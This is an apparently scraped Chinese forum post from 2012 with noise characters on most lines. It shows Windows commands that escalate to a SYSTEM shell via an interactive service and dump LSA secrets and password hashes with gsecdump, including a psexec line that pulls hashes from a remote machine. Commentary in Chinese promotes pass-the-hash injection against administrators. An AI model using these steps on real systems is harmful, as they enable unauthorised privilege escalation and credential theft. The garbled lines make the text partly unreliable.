o get a DOS Prompt as NT system:- Z6 n h# D& V3 p
& {# x3 }* \7 ]# S/ d0 t7 k+ EC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact, j: n+ F$ H+ V. Y( L8 Y& M
[SC] CreateService SUCCESS C- b! j9 v6 Q6 s! m
4 G. n- o; `( B! U3 QC:\>sc start shellcmdline
+ ~/ S+ O; h& U. M- c% n[SC] StartService FAILED 1053:8 N0 n0 G; C) ^) U( b: { O
0 b- v1 n ?; RThe service did not respond to the start or control request in a timely fashion.
3 Q, D, \9 `3 h( @" k; h1 z7 ^& W3 L$ w( ?: h4 K: V
C:\>sc delete shellcmdline2 o! u3 F4 ~6 E% @
[SC] DeleteService SUCCESS4 [' `8 `4 Z. o# L
& V( o- d$ \7 `! a+ D# d2 D# E; J) s
------------
, o3 [4 R7 Y& x8 V* p C4 b: L' C9 X. C3 i7 \
Then in the new DOS window:
' R4 z2 Y/ W2 |/ A$ [2 S
5 [ O& Q7 K% E4 V; ]% gMicrosoft Windows XP [Version 5.1.2600]
+ X9 a$ `/ e6 B0 T(C) Copyright 1985-2001 Microsoft Corp. S: H: C j- e$ v' c; u3 o
" F& t2 ]6 l F: M
C:\WINDOWS\system32>whoami- `- G( j6 P3 J4 B
NT AUTHORITY\SYSTEM
% ~$ G. w. c* a* H6 \! Z. P3 ]7 T. S- t4 Q; o b
C:\WINDOWS\system32>gsecdump -h
3 x0 {* F, N8 k+ x! lgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)' @7 U) y2 J3 d$ S* H( ]
usage: gsecdump [options]! i( T: [# I7 ?: o# l, X
! X( ^: ]. r2 ^4 u. o2 Soptions:# v0 R: k+ n! y0 E$ c( B* n7 L
-h [ --help ] show help$ T9 L) z' y: Y( p6 M. R6 I
-a [ --dump_all ] dump all secrets
- @3 K2 Y/ q0 ?% j/ x$ `-l [ --dump_lsa ] dump lsa secrets
' v# ~/ ^9 w. [' k-w [ --dump_wireless ] dump microsoft wireless connections
0 R& T$ t8 _# r% X8 q" k9 S-u [ --dump_usedhashes ] dump hashes from active logon sessions: g$ C: K: U" V8 z
-s [ --dump_hashes ] dump hashes from SAM/AD
* S3 ]( @* d. L5 t* D* L: A4 D3 L, R* S+ ~7 F. {
Although I like to use:4 _$ \9 b! ^+ L# q
' n0 N+ L4 }+ Q) f8 U; T$ p* Q
PsExec v1.83 - Execute processes remotely ^" ?2 X4 `3 J, S8 h
Copyright (C) 2001-2007 Mark Russinovich+ M1 q6 }+ ?1 s3 t
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
% H/ T/ {3 }9 J2 O9 b
2 U9 x0 M, _# ~( T$ x, K9 R- jC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
# R' r6 x) |; M- H# u
9 s& |( i, g2 A" i# Q- Fto get the hashes from active logon sessions of a remote system.' m, Q6 t5 o: { z( N: R- }
# \* i6 q! \+ ^9 W7 @These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
( e) T# {: R: h" S" }7 B- |: t4 t
. G+ v; D' X+ u" V% |. D0 o提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.$ k$ x% [- u" ?6 B9 B# M! W0 F
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
& d7 _9 z, U; A
; {/ S8 z- v. _: j9 B, m我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
$ U0 F D! k% U# v& V% u |
发表于 2012-11-6 21:09:29
收藏
支持
反对